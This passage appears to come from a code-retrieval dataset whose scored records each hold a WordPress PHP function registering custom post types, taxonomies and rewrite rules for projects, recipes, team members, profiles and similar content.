'Filtrar lista de projetos', 'Screen reader text for the filter links heading on the post type listing screen. Default “Filter posts list”/”Filter pages list”. Added in 4.4', 'ctrl-s' ),\n 'items_list_navigation' => _x( 'Lista de navegação de projetos', 'Screen reader text for the pagination heading on the post type listing screen. Default “Posts list navigation”/”Pages list navigation”. Added in 4.4', 'ctrl-s' ),\n 'items_list' => _x( 'Lista de projetos', 'Screen reader text for the items list heading on the post type listing screen. Default “Posts list”/”Pages list”. Added in 4.4', 'ctrl-s' ),\n );\n \n $args = array(\n 'labels' => $labels,\n 'public' => true,\n 'publicly_queryable' => true,\n 'show_ui' => true,\n 'show_in_menu' => true,\n 'show_in_rest' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'projeto' ),\n 'capability_type' => 'post',\n 'has_archive' => true,\n 'hierarchical' => false,\n 'menu_position' => null,\n 'menu_icon' => 'dashicons-text-page',\n 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' ),\n );\n \n register_post_type( 'projeto', $args );\n\n unset($args);\n unset($labels);\n\n // Add new taxonomy, make it hierarchical (like categories)\n $labels = array(\n 'name' => _x( 'Tipo de Projeto', 'taxonomy general name', 'ctrl-s' ),\n 'singular_name' => _x( 'Projetos', 'taxonomy singular name', 'ctrl-s' ),\n 'search_items' => __( 'Pesquisar por tipo de projetos', 'ctrl-s' ),\n 'all_items' => __( 'Todos os tipos de projetos', 'ctrl-s' ),\n 'parent_item' => __( 'Tipo de projeto pai', 'ctrl-s' ),\n 'parent_item_colon' => __( 'Tipo de projeto pai:', 'ctrl-s' ),\n 'edit_item' => __( 'Editar tipo de projeto', 'ctrl-s' ),\n 'update_item' => __( 'Atualizar tipo de projeto', 'ctrl-s' ),\n 'add_new_item' => __( 'Adicionar novo tipo de projeto', 'ctrl-s' ),\n 'new_item_name' => __( 'Nome do novo tipo de projeto', 'ctrl-s' ),\n 'menu_name' => __( 'Tipo de Projeto', 'ctrl-s' ),\n );\n \n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'show_in_rest' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'tipo-de-projeto' ),\n );\n \n register_taxonomy( 'tipo-de-projeto', array( 'projeto' ), $args );\n\n /* Renames Post labels as Atividades */\n $get_post_type = get_post_type_object('post');\n $labels = $get_post_type->labels;\n $labels->name = __( 'Atividades', 'ctrl-s' );\n $labels->singular_name = __( 'Atividade', 'ctrl-s' );\n $labels->add_new = __( 'Adicionar atividades', 'ctrl-s' );\n $labels->add_new_item = __( 'Adicionar nova atividade', 'ctrl-s' );\n $labels->edit_item = __( 'Editar atividade', 'ctrl-s' );\n $labels->new_item = __( 'Nova atividade', 'ctrl-s' );\n $labels->view_item = __( 'Ver atividade', 'ctrl-s' );\n $labels->search_items = __( 'Pesquisar atividades', 'ctrl-s' );\n $labels->not_found = __( 'Nenhuma atividade encontrada', 'ctrl-s' );\n $labels->not_found_in_trash = __( 'Nenhuma atividade encontrada na lixeira', 'ctrl-s' );\n $labels->all_items = __( 'Todas as atividades', 'ctrl-s' );\n $labels->menu_name = __( 'Atividades', 'ctrl-s' );\n $labels->name_admin_bar = __( 'Atividade', 'ctrl-s' );\n}", "title": "" }, { "docid": "c811158da41fd9e4f160e34f1f39dfc7", "score": "0.6143044", "text": "public function flo_register_form_entries_taxonomy(){\n\t\tregister_taxonomy(\n\t\t\t'entry_form',\n\t\t\t'flo_form_entry', // custom post type for which we register this taxonomy\n\t\t\tarray(\n\t\t\t\t'label' => __( 'Forms','flo-forms' ),\n\t\t\t\t'rewrite' => array( 'slug' => 'entry_form' ),\n\t\t\t\t'show_admin_column' => true,\n\t\t\t\t'hierarchical' => true,\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "48378ac096340ce5fe3738cd29acbdec", "score": "0.61373746", "text": "function GS_recipe_taxonomies() {\n\n\t// Add Cuisine taxonomy, make it hierarchical (like categories)\n\n\t$labels = array(\n\t\t'name' => _x( 'Cuisines', 'taxonomy general name', 'textdomain' ),\n\t\t'singular_name' => _x( 'Cuisine', 'taxonomy singular name', 'textdomain' ),\n\t\t'search_items' => __( 'Search Cuisines', 'textdomain' ),\n\t\t'all_items' => __( 'All Cuisines', 'textdomain' ),\n\t\t'parent_item' => __( 'Parent Cuisine', 'textdomain' ),\n\t\t'parent_item_colon' => __( 'Parent Cuisine:', 'textdomain' ),\n\t\t'edit_item' => __( 'Edit Cuisine', 'textdomain' ),\n\t\t'update_item' => __( 'Update Cuisine', 'textdomain' ),\n\t\t'add_new_item' => __( 'Add New Cuisine', 'textdomain' ),\n\t\t'new_item_name' => __( 'New Cuisine Name', 'textdomain' ),\n\t\t'menu_name' => __( 'Cuisine', 'textdomain' ),\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'cuisine' ),\n\t);\n\n\tregister_taxonomy( 'cuisine', array( 'recipe' ), $args );\n\n // Add Type taxonomy, make it hierarchical (like categories)\n $labels = array(\n 'name' => _x( 'Meals', 'taxonomy general name', 'textdomain' ),\n 'singular_name' => _x( 'Meal', 'taxonomy singular name', 'textdomain' ),\n 'search_items' => __( 'Search Meals', 'textdomain' ),\n 'all_items' => __( 'All Meals', 'textdomain' ),\n 'parent_item' => __( 'Parent Meal', 'textdomain' ),\n 'parent_item_colon' => __( 'Parent Meal:', 'textdomain' ),\n 'edit_item' => __( 'Edit Meal', 'textdomain' ),\n 'update_item' => __( 'Update Meal', 'textdomain' ),\n 'add_new_item' => __( 'Add New Meal', 'textdomain' ),\n 'new_item_name' => __( 'New Meal Name', 'textdomain' ),\n 'menu_name' => __( 'Meal', 'textdomain' ),\n );\n\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'meal' ),\n );\n\n register_taxonomy( 'meal', array( 'recipe' ), $args );\n\n // Add new taxonomy, NOT hierarchical (like tags)\n\t$labels = array(\n\t\t'name' => _x( 'Ingredient', 'taxonomy general name', 'textdomain' ),\n\t\t'singular_name' => _x( 'Ingredient', 'taxonomy singular name', 'textdomain' ),\n\t\t'search_items' => __( 'Search Ingredients', 'textdomain' ),\n\t\t'popular_items' => __( 'Popular Ingredients', 'textdomain' ),\n\t\t'all_items' => __( 'All Ingredients', 'textdomain' ),\n\t\t'parent_item' => null,\n\t\t'parent_item_colon' => null,\n\t\t'edit_item' => __( 'Edit Ingredient', 'textdomain' ),\n\t\t'update_item' => __( 'Update Ingredient', 'textdomain' ),\n\t\t'add_new_item' => __( 'Add New Ingredient', 'textdomain' ),\n\t\t'new_item_name' => __( 'New Ingredient Name', 'textdomain' ),\n\t\t'separate_items_with_commas' => __( 'Separate ingredients with commas', 'textdomain' ),\n\t\t'add_or_remove_items' => __( 'Add or remove ingredients', 'textdomain' ),\n\t\t'choose_from_most_used' => __( 'Choose from the most used ingredients', 'textdomain' ),\n\t\t'not_found' => __( 'No ingredients found.', 'textdomain' ),\n\t\t'menu_name' => __( 'Ingredient', 'textdomain' ),\n\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => false,\n\t\t'labels' => $labels,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'update_count_callback' => '_update_post_term_count',\n\t\t'query_var' => true,\n\n\t\t'rewrite' => array( 'slug' => 'ingredient' ),\n\t);\n\n\tregister_taxonomy( 'ingredient', 'recipe', $args );\n\n\n}", "title": "" }, { "docid": "863a5c8322fec9bd6e8f88e7af5245d2", "score": "0.6137079", "text": "public function add_tax_rewrite_rules() {\n\t\tif(get_option('no_taxonomy_structure')) {\n\t\t\treturn false;\n\t\t}\n\n\n\t\tglobal $wp_rewrite;\n\t\t$taxonomies = get_taxonomies(array( '_builtin' => false));\n\t\t$taxonomies['category'] = 'category';\n\n\t\tif(empty($taxonomies)) {\n\t\t\treturn false;\n\t\t}\n\n\t\tforeach ($taxonomies as $taxonomy) :\n\t\t\t$taxonomyObject = get_taxonomy($taxonomy);\n\t\t\t$post_types = $taxonomyObject->object_type;\n\n\t\t\tforeach ($post_types as $post_type):\n\t\t\t\t$post_type_obj = get_post_type_object($post_type);\n\t\t\t\t$slug = $post_type_obj->rewrite['slug'];\n\t\t\t\tif(!$slug) {\n\t\t\t\t\t$slug = $post_type;\n\t\t\t\t}\n\n\t\t\t\tif(is_string($post_type_obj->has_archive)) {\n\t\t\t\t\t$slug = $post_type_obj->has_archive;\n\t\t\t\t};\n\n\t\t\t\tif ( $taxonomy == 'category' ){\n\t\t\t\t\t$taxonomypat = ($cb = get_option('category_base')) ? $cb : $taxonomy;\n\t\t\t\t\t$tax = 'category_name';\n\t\t\t\t} else {\n\t\t\t\t\t// Edit by [Xiphe]\n\t\t\t\t\tif (isset($taxonomyObject->rewrite['slug'])) {\n\t\t\t\t\t\t$taxonomypat = $taxonomyObject->rewrite['slug'];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$taxonomypat = $taxonomy;\n\t\t\t\t\t}\n\t\t\t\t\t// [Xiphe] stop\n\n\t\t\t\t\t$tax = $taxonomy;\n\t\t\t\t}\n\n\n\t\t\t\t//add taxonomy slug\n\t\t\t\tadd_rewrite_rule( $slug.'/'.$taxonomypat.'/(.+?)/page/?([0-9]{1,})/?$', 'index.php?'.$tax.'=$matches[1]&paged=$matches[2]', 'top' );\n\t\t\t\tadd_rewrite_rule( $slug.'/'.$taxonomypat.'/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$', 'index.php?'.$tax.'=$matches[1]&feed=$matches[2]', 'top' );\n\t\t\t\tadd_rewrite_rule( $slug.'/'.$taxonomypat.'/(.+?)/(feed|rdf|rss|rss2|atom)/?$', 'index.php?'.$tax.'=$matches[1]&feed=$matches[2]', 'top' );\n\t\t\t\tadd_rewrite_rule( $slug.'/'.$taxonomypat.'/(.+?)/?$', 'index.php?'.$tax.'=$matches[1]', 'top' ); // modified by [steve] [*** bug fixing]\n\n\t\t\t\t// below rules were added by [steve]\n\t\t\t\tadd_rewrite_rule( $taxonomypat.'/(.+?)/date/([0-9]{4})/([0-9]{1,2})/?$', 'index.php?'.$tax.'=$matches[1]&year=$matches[2]&monthnum=$matches[3]&post_type='.$post_type, 'top' );\n\t\t\t\tadd_rewrite_rule( $taxonomypat.'/(.+?)/date/([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$', 'index.php?'.$tax.'=$matches[1]&year=$matches[2]&monthnum=$matches[3]&paged=$matches[4]&post_type='.$post_type, 'top' );\n\t\t\t\tadd_rewrite_rule( $slug.'/'.$taxonomypat.'/(.+?)/date/([0-9]{4})/([0-9]{1,2})/?$', 'index.php?'.$tax.'=$matches[1]&year=$matches[2]&monthnum=$matches[3]&post_type='.$post_type, 'top' );\n\t\t\t\tadd_rewrite_rule( $slug.'/'.$taxonomypat.'/(.+?)/date/([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$', 'index.php?'.$tax.'=$matches[1]&year=$matches[2]&monthnum=$matches[3]&paged=$matches[4]&post_type='.$post_type, 'top' );\n\n\t\t\tendforeach;\n\t\tendforeach;\n\t}", "title": "" }, { "docid": "c1d4ab779a1efac2810ef2b8818d949b", "score": "0.61338454", "text": "public function roket_theme_addcustom() {\n\n $labels = array(\n \"name\" => __( \"Team Members\", \"\" ),\n \"singular_name\" => __( \"Team Member\", \"\" ),\n );\n\n $args = array(\n \"label\" => __( \"Team Members\", \"\" ),\n \"labels\" => $labels,\n \"description\" => \"\",\n \"public\" => true,\n \"publicly_queryable\" => true,\n \"show_ui\" => true,\n \"show_in_rest\" => false,\n \"rest_base\" => \"\",\n \"has_archive\" => false,\n \"show_in_menu\" => true,\n \"exclude_from_search\" => false,\n \"capability_type\" => \"post\",\n \"map_meta_cap\" => true,\n \"hierarchical\" => false,\n \"rewrite\" => array( \"slug\" => \"team_member\", \"with_front\" => true ),\n \"query_var\" => true,\n \"supports\" => array( \"title\", \"editor\", \"thumbnail\" ),\n );\n\n register_post_type( \"team_member\", $args );\n\n $labels = array(\n \"name\" => __( \"Categories\", \"\" ),\n \"singular_name\" => __( \"Category\", \"\" ),\n );\n\n $args = array(\n \"label\" => __( \"Categories\", \"\" ),\n \"labels\" => $labels,\n \"public\" => true,\n \"hierarchical\" => true,\n \"label\" => \"Categories\",\n \"show_ui\" => true,\n \"show_in_menu\" => true,\n \"show_in_nav_menus\" => true,\n \"query_var\" => true,\n \"rewrite\" => array( 'slug' => 'team_cat', 'with_front' => true, ),\n \"show_admin_column\" => false,\n \"show_in_rest\" => false,\n \"rest_base\" => \"\",\n \"show_in_quick_edit\" => false,\n );\n register_taxonomy( \"team_cat\", array( \"team_member\" ), $args );\n }", "title": "" }, { "docid": "d7b975edc9ed9ada4bd795c6445bec20", "score": "0.6131083", "text": "function custom_taxonomies()\n{\n}", "title": "" }, { "docid": "2829561ded2700de1c2c7cb7336a2cbe", "score": "0.6123483", "text": "function iwBookingAddCategoryTaxonomy() {\n global $iwe_settings;\n if ($iwe_settings) {\n $general = $iwe_settings['general'];\n }\n $labels = array('name' => _x('Categories', 'Taxonomy General Name', 'inwavethemes'), 'singular_name' => _x('Category', 'Taxonomy Singular Name', 'inwavethemes'), 'menu_name' => __('Categories', 'inwavethemes'), 'all_items' => __('All Categories', 'inwavethemes'), 'parent_item' => __('Parent Category', 'inwavethemes'), 'parent_item_colon' => __('Parent Category:', 'inwavethemes'), 'new_item_name' => __('New Category Name', 'inwavethemes'), 'add_new_item' => __('Add New Category', 'inwavethemes'), 'edit_item' => __('Edit Category', 'inwavethemes'), 'update_item' => __('Update Category', 'inwavethemes'), 'separate_items_with_commas' => __('Separate categories with commas', 'inwavethemes'), 'search_items' => __('Search categories', 'inwavethemes'), 'add_or_remove_items' => __('Add or remove categories', 'inwavethemes'), 'choose_from_most_used' => __('Choose from the most used categories', 'inwavethemes'), 'not_found' => __('Not Found', 'inwavethemes'),);\n $rewrite = array('slug' => isset($general['category_slug']) ? $general['category_slug'] : 'iwb-category', 'with_front' => true, 'hierarchical' => true,);\n $args = array('labels' => $labels, 'hierarchical' => true, 'public' => true, 'show_ui' => true, 'show_admin_column' => true, 'show_in_nav_menus' => true, 'show_tagcloud' => true, 'rewrite' => $rewrite,);\n register_taxonomy('booking_category', array('iw_booking'), $args);\n}", "title": "" }, { "docid": "f14b26acb0968e16be352527b6b30be0", "score": "0.6114814", "text": "function custom_taxonomy_aktivitet() {\n\n $labels = array(\n 'name' => _x( 'Typer', 'Taxonomy General Name', 'simpletheme' ),\n 'singular_name' => _x( 'Type', 'Taxonomy Singular Name', 'simpletheme' ),\n 'menu_name' => __( 'Type', 'simpletheme' ),\n 'all_items' => __( 'All Items', 'simpletheme' ),\n 'parent_item' => __( 'Parent type', 'simpletheme' ),\n 'parent_item_colon' => __( 'Parent type:', 'simpletheme' ),\n 'new_item_name' => __( 'New Item Name', 'simpletheme' ),\n 'add_new_item' => __( 'Add New type', 'simpletheme' ),\n 'edit_item' => __( 'Edit Item', 'simpletheme' ),\n 'update_item' => __( 'Update Item', 'simpletheme' ),\n 'view_item' => __( 'View Item', 'simpletheme' ),\n 'separate_items_with_commas' => __( 'Separate items with commas', 'simpletheme' ),\n 'add_or_remove_items' => __( 'Add or remove items', 'simpletheme' ),\n 'choose_from_most_used' => __( 'Choose from the most used', 'simpletheme' ),\n 'popular_items' => __( 'Popular Items', 'simpletheme' ),\n 'search_items' => __( 'Search Items', 'simpletheme' ),\n 'not_found' => __( 'Not Found', 'simpletheme' ),\n 'no_terms' => __( 'No items', 'simpletheme' ),\n 'items_list' => __( 'Items list', 'simpletheme' ),\n 'items_list_navigation' => __( 'Items list navigation', 'simpletheme' ),\n );\n $args = array(\n 'labels' => $labels,\n 'hierarchical' => true,\n 'public' => true,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'show_in_nav_menus' => true,\n 'show_tagcloud' => true,\n 'show_in_rest'\t\t\t\t\t\t\t=> true,\n\n );\n register_taxonomy( 'aktivitet-type', array( 'aktivitet' ), $args );\n}", "title": "" }, { "docid": "ada76dcf6df5518ab1abd616d67c1475", "score": "0.610898", "text": "function create_project_categories() {\r\n register_taxonomy(\r\n 'type',\r\n 'project',\r\n array(\r\n 'labels' => array(\r\n 'name' => _x( 'Types' , 'taxonomy general name' ),\r\n 'singular_name' => _x( 'Type' , 'taxonomy singular name'),\r\n 'add_new_item' => 'Add Type',\r\n 'new_item_name' => \"New Type\"\r\n ),\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n 'show_tagcloud' => false,\r\n 'hierarchical' => true,\r\n 'support' => array('tags')\r\n )\r\n );\r\n register_taxonomy(\r\n 'theme',\r\n 'project',\r\n array(\r\n 'labels' => array(\r\n 'name' => _x( 'Themes' , 'taxonomy general name' ),\r\n 'singular_name' => _x( 'Theme' , 'taxonomy singular name'),\r\n 'add_new_item' => 'Add Theme',\r\n 'new_item_name' => \"New Theme\"\r\n ),\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n 'show_tagcloud' => false,\r\n 'hierarchical' => true,\r\n 'support' => array('tags')\r\n )\r\n );\r\n/*\r\n register_taxonomy(\r\n 'type',\r\n 'project',\r\n array(\r\n 'labels' => array(\r\n 'name' => _x( 'Types' , 'taxonomy general name' ),\r\n 'singular_name' => _x( 'Type' , 'taxonomy singular name'),\r\n 'add_new_item' => 'Add Type',\r\n 'new_item_name' => \"New Type\"\r\n ),\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n 'show_tagcloud' => false,\r\n 'hierarchical' => false,\r\n 'support' => array('tags'),\r\n )\r\n );\r\n // Add Project Theme Taxonomy\r\n register_taxonomy(\r\n 'theme',\r\n 'project',\r\n array(\r\n 'labels' => array(\r\n 'name' => _x( 'Themes' , 'taxonomy general name' ),\r\n 'singular_name' => _x( 'Theme' , 'taxonomy singular name'),\r\n 'add_new_item' => 'Add Theme',\r\n 'new_item_name' => \"New Theme\"\r\n ),\r\n 'show_ui' => true,\r\n 'show_admin_column' => true,\r\n 'show_tagcloud' => false,\r\n 'hierarchical' => false,\r\n )\r\n );\r\n*/\r\n}", "title": "" }, { "docid": "8ab69de88145925434e51485c54249d7", "score": "0.6103092", "text": "public function ewp_taxonomy_fields_creation()\n {\n return apply_filters(\n 'ewp_taxonomy_fields_creation_filter',\n array(\n 'taxonomy_name' => array(\n 'label' => __('Taxonomy name', 'extend-wp'),\n 'case' => 'input',\n 'type' => 'text',\n 'class' => array('awm-lowercase'),\n 'attributes' => array('title' => 'English only!', 'pattern' => '[\\x00-\\x7F]+'),\n 'label_class' => array('awm-needed'),\n ),\n 'name' => array(\n 'label' => __('Name plural', 'extend-wp'),\n 'case' => 'input',\n 'type' => 'text',\n 'label_class' => array('awm-needed'),\n ),\n 'label' => array(\n 'label' => __('Name singular', 'extend-wp'),\n 'case' => 'input',\n 'type' => 'text',\n 'label_class' => array('awm-needed'),\n ),\n 'prefix' => array(\n 'label' => __('Registration prefix', 'extend-wp'),\n 'case' => 'input',\n 'type' => 'text'\n ),\n 'post_types' => array(\n 'label' => __('Post types', 'extend-wp'),\n 'case' => 'post_types',\n 'attributes' => array('multiple' => true),\n 'label_class' => array('awm-needed'),\n 'admin_list' => true\n ),\n 'template' => array(\n 'label' => __('Template path', 'extend-wp'),\n 'case' => 'input',\n 'type' => 'text',\n 'explanation' => __('if you create ewp_{taxonomy_name}.php it will be used. Otherwise use path (from plugins/ or themes/). If none archive.php will be used.', 'extend-wp'),\n ),\n 'show_admin_column' => array(\n 'label' => __('Show in admin list', 'extend-wp'),\n 'case' => 'input',\n 'type' => 'checkbox'\n )\n )\n\n );\n }", "title": "" }, { "docid": "869bd2167f040c98468b25c3a857f57c", "score": "0.60969216", "text": "public function register_taxonomies() {\n\t}", "title": "" }, { "docid": "c18453c8ca002bf611058e0449a22869", "score": "0.6081158", "text": "public function register_taxonomies() {\n\n\t}", "title": "" }, { "docid": "c18453c8ca002bf611058e0449a22869", "score": "0.6081158", "text": "public function register_taxonomies() {\n\n\t}", "title": "" }, { "docid": "c2defb0c1ea4f8cc0cad3f59562ab919", "score": "0.6060369", "text": "function create_gallerie_taxonomies() {\r\n\t// Add new taxonomy, make it hierarchical (like categories)\r\n\t$labels = array(\r\n\t\t'name' => _x( 'Genres', 'taxonomy general name', 'textdomain' ),\r\n\t\t'singular_name' => _x( 'Genre', 'taxonomy singular name', 'textdomain' ),\r\n\t\t'search_items' => __( 'Search Genres', 'textdomain' ),\r\n\t\t'all_items' => __( 'All Genres', 'textdomain' ),\r\n\t\t'parent_item' => __( 'Parent Genre', 'textdomain' ),\r\n\t\t'parent_item_colon' => __( 'Parent Genre:', 'textdomain' ),\r\n\t\t'edit_item' => __( 'Edit Genre', 'textdomain' ),\r\n\t\t'update_item' => __( 'Update Genre', 'textdomain' ),\r\n\t\t'add_new_item' => __( 'Add New Genre', 'textdomain' ),\r\n\t\t'new_item_name' => __( 'New Genre Name', 'textdomain' ),\r\n\t\t'menu_name' => __( 'Genre', 'textdomain' ),\r\n\t);\r\n\r\n\t$args = array(\r\n\t\t'hierarchical' => true,\r\n\t\t'labels' => $labels,\r\n\t\t'show_ui' => true,\r\n\t\t'show_admin_column' => true,\r\n\t\t'query_var' => true,\r\n\t\t'rewrite' => array( 'slug' => 'genre' ),\r\n\t);\r\n\r\n\tregister_taxonomy( 'genre', array( 'gallerie' ), $args );\r\n}", "title": "" }, { "docid": "6ea7a885d02a491ad8968784995df2ab", "score": "0.60539037", "text": "function create_people_cpt() {\n \n $labels = array(\n\t\t'name' => _x( 'Profile Categorys', 'taxonomy general name', 'textdomain' ),\n\t\t'singular_name' => _x( 'Profile Category', 'taxonomy singular name', 'textdomain' ),\n\t\t'search_items' => __( 'Search Custom Taxonomies', 'textdomain' ),\n\t\t'all_items' => __( 'All Custom Taxonomies', 'textdomain' ),\n\t\t'parent_item' => __( 'Parent peoplerole', 'textdomain' ),\n\t\t'parent_item_colon' => __( 'Parent peoplerole:', 'textdomain' ),\n\t\t'edit_item' => __( 'Edit ', 'textdomain' ),\n\t\t'update_item' => __( 'Update ', 'textdomain' ),\n\t\t'add_new_item' => __( 'Add New ', 'textdomain' ),\n\t\t'new_item_name' => __( 'New', 'textdomain' ),\n\t\t'menu_name' => __( 'Profile Categories', 'textdomain' ),\n\t);\n\t$args = array(\n\t\t'labels' => $labels,\n\t\t'description' => __( '', 'textdomain' ),\n\t\t'hierarchical' => true,\n\t\t'public' => true,\n\t\t'publicly_queryable' => true,\n\t\t'show_ui' => true,\n\t\t'show_in_menu' => true,\n\t\t'show_in_nav_menus' => true,\n\t\t'show_in_rest' => false,\n\t\t'show_tagcloud' => false,\n\t\t'show_in_quick_edit' => true,\n\t\t'show_admin_column' => true,\n\t);\n\tregister_taxonomy( 'profilerole', array('profile', ), $args );\n\n\n\t$labels = array(\n\t\t'name' => __( 'Profile', 'Post Type General Name', 'textdomain' ),\n\t\t'singular_name' => __( 'Profile', 'Post Type Singular Name', 'textdomain' ),\n\t\t'menu_name' => __( 'Profiles', 'textdomain' ),\n\t\t'name_admin_bar' => __( 'Profiles', 'textdomain' ),\n\t\t'archives' => __( 'Profiles Archives', 'textdomain' ),\n\t\t'attributes' => __( 'Profiles Attributes', 'textdomain' ),\n\t\t'parent_item_colon' => __( 'Parent People:', 'textdomain' ),\n\t\t'all_items' => __( 'All', 'textdomain' ),\n\t\t'add_new_item' => __( 'Add New Profile', 'textdomain' ),\n\t\t'add_new' => __( 'Add New', 'textdomain' ),\n\t\t'new_item' => __( 'New Profile', 'textdomain' ),\n\t\t'edit_item' => __( 'Edit Profile', 'textdomain' ),\n\t\t'update_item' => __( 'Update Profile', 'textdomain' ),\n\t\t'view_item' => __( 'View Profile', 'textdomain' ),\n\t\t'view_items' => __( 'View Profiles', 'textdomain' ),\n\t\t'search_items' => __( 'Search Profile', 'textdomain' ),\n\t\t'not_found' => __( 'Not found', 'textdomain' ),\n\t\t'not_found_in_trash' => __( 'Not found in Trash', 'textdomain' ),\n\t\t'featured_image' => __( 'Profile Image', 'textdomain' ),\n\t\t'set_featured_image' => __( 'Set profile image', 'textdomain' ),\n\t\t'remove_featured_image' => __( 'Remove profile image', 'textdomain' ),\n\t\t'use_featured_image' => __( 'Use as profile image', 'textdomain' ),\n\t\t'insert_into_item' => __( 'Insert into Profiles', 'textdomain' ),\n\t\t'uploaded_to_this_item' => __( 'Uploaded to this Profile', 'textdomain' ),\n\t\t'items_list' => __( 'Custom Posts list', 'textdomain' ),\n\t\t'items_list_navigation' => __( 'Custom Posts list navigation', 'textdomain' ),\n\t\t'filter_items_list' => __( 'Filter Custom Posts list', 'textdomain' ),\n\t);\n\t$args = array(\n\t\t'label' => __( 'Profiles', 'textdomain' ),\n\t\t'description' => __( '', 'textdomain' ),\n\t\t'labels' => $labels,\n\t\t'menu_icon' => 'dashicons-admin-users',\n\t\t'supports' => array('title', 'editor', 'excerpt', 'thumbnail', 'author', 'page-attributes', 'post-formats', ),\n\t\t'taxonomies' => array('profilerole', ),\n\t\t'public' => true,\n\t\t'show_ui' => true,\n\t\t'show_in_menu' => true,\n\t\t'menu_position' => 5,\n\t\t'show_in_admin_bar' => true,\n\t\t'show_in_nav_menus' => true,\n\t\t'can_export' => true,\n\t\t'has_archive' => true,\n\t\t'hierarchical' => false,\n\t\t'exclude_from_search' => false,\n\t\t'show_in_rest' => true,\n\t\t'publicly_queryable' => true,\n\t\t'capability_type' => 'post',\n\t);\n register_post_type( 'profile', $args );\n \n add_post_type_support( 'profile', 'wps_subtitle' );\n\n}", "title": "" }, { "docid": "ab6c47692e40293d02e96d1cac8f694c", "score": "0.60482514", "text": "private function insertTaxonomy_realhomes() {\n\t\t$id_post = $this->id_post;\n\t\t$taxonomies = [\n\t\t\t'property-city' => $this->villeAAfficherAvecCP() . \"\",\n\t\t\t'property-status' => [ucwords($this->taxonomyTypeBien()), ucwords($this->taxonomyActionBien())],\n\t\t\t'property-feature' => $this->taxonomy_features(),\n\t\t\t'property-type' => ucwords($this->type_bien()),\n\t\t];\n\t\tforeach ($taxonomies as $id => $value) {\n\t\t\t$ok = \"\";\n//\t\t\techo \"<p><strong>$id_post $value $id</strong></p>\";\n\t\t\tif ((bool) $value) {\n\t\t\t\t$ok = wp_set_object_terms($id_post, $value, $id);\n\t\t\t\tif (is_wp_error($ok)) {\n//\t\t\t\techo \" $id:erreur \";\n\t\t\t\t} else {\n//\t\t\t\techo \" $id:ok \";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "17417b2d0eb5f76a2c40aa4898fcebe0", "score": "0.6041219", "text": "function prso_init_theme_taxonomies() {\n\t\n\t//Init vars\n\t$file_path = plugin_dir_path( __FILE__ ) . \"theme-taxonomies\";\n\t\n\t//include_once( $file_path . '/cuztom-taxonomy_TEMPLATE.php' );\n\t\n}", "title": "" }, { "docid": "4939fec283276a1e29864d8452052a03", "score": "0.6034566", "text": "function register_tax() {\n\t\tif ( empty( $this->label_singular ) ) {\n\t\t\treturn;\n\t\t}\n\t\telse if ( empty( $this->label_plural ) ) {\n\t\t\t$this->label_plural = $this->label_singular . 's';\n\t\t}\n\t\t$args = wp_parse_args( $this->taxonomy_args, [\n\t\t\t'labels' => [\n\t\t\t\t'name' => $this->label_plural,\n\t\t\t\t'singular_name' => $this->label_singular,\n\t\t\t\t'all_items' => 'All ' . $this->label_plural,\n\t\t\t\t'add_new_item' => 'Add New ' . $this->label_singular,\n\t\t\t\t'edit_item' => 'Edit ' . $this->label_singular,\n\t\t\t\t'new_item' => 'New ' . $this->label_singular,\n\t\t\t\t'new_item_name' => 'New ' . $this->label_singular . ' Name',\n\t\t\t\t'parent_item' => 'Parent ' . $this->label_singular,\n\t\t\t\t'parent_item_colon' => 'Parent ' . $this->label_singular . ':',\n\t\t\t\t'view_item' => 'View ' . $this->label_singular,\n\t\t\t\t'search_items' => 'Search ' . $this->label_plural,\n\t\t\t\t'popular_items' => 'Popular ' . $this->label_plural,\n\t\t\t\t'not_found' => 'No ' . strtolower( $this->label_plural ) . ' found',\n\t\t\t\t'separate_items_with_commas' => 'Separate ' . strtolower( $this->label_plural ) . ' with commas',\n\t\t\t\t'add_or_remove_items' => 'Add or remove ' . strtolower( $this->label_plural ),\n\t\t\t\t'choose_from_most_used' => 'Choose from the most used ' . strtolower( $this->label_plural ),\n\t\t\t],\n\t\t\t'show_ui' => true,\n\t\t\t'public' => true,\n\t\t\t'show_tagcloud' => false,\n\t\t\t'show_in_nav_menus' => true,\n\t\t\t'hierarchical' => false,\n\t\t\t'rewrite' => [ 'slug' => $this->get_name(), 'with_front' => false, 'hierarchical' => true ],\n\t\t] );\n\n\t\tregister_taxonomy( $this->get_name(), $this->post_types, $args );\n\t}", "title": "" }, { "docid": "d7586ea57bbc529795b61c7ab2a277b8", "score": "0.60284424", "text": "public function registerTaxonomyToObjects()\n {\n // register Taxonomy to each of the PostTypes assigned\n if (!empty($this->posttypes)) {\n foreach ($this->posttypes as $posttype) {\n register_taxonomy_for_object_type($this->name, $posttype);\n }\n }\n }", "title": "" }, { "docid": "c7038a0c29bfaf4a05bc0a1d6b4b2799", "score": "0.60282177", "text": "function create_session_tax() {\r\n\r\n\t\t$labels = array(\r\n\t\t\t'name' => _x( 'Sessions', 'Taxonomy General Name', 'spkquest' ),\r\n\t\t\t'singular_name' => _x( 'Session', 'Taxonomy Singular Name', 'spkquest' ),\r\n\t\t\t'menu_name' => __( 'Sessions', 'spkquest' 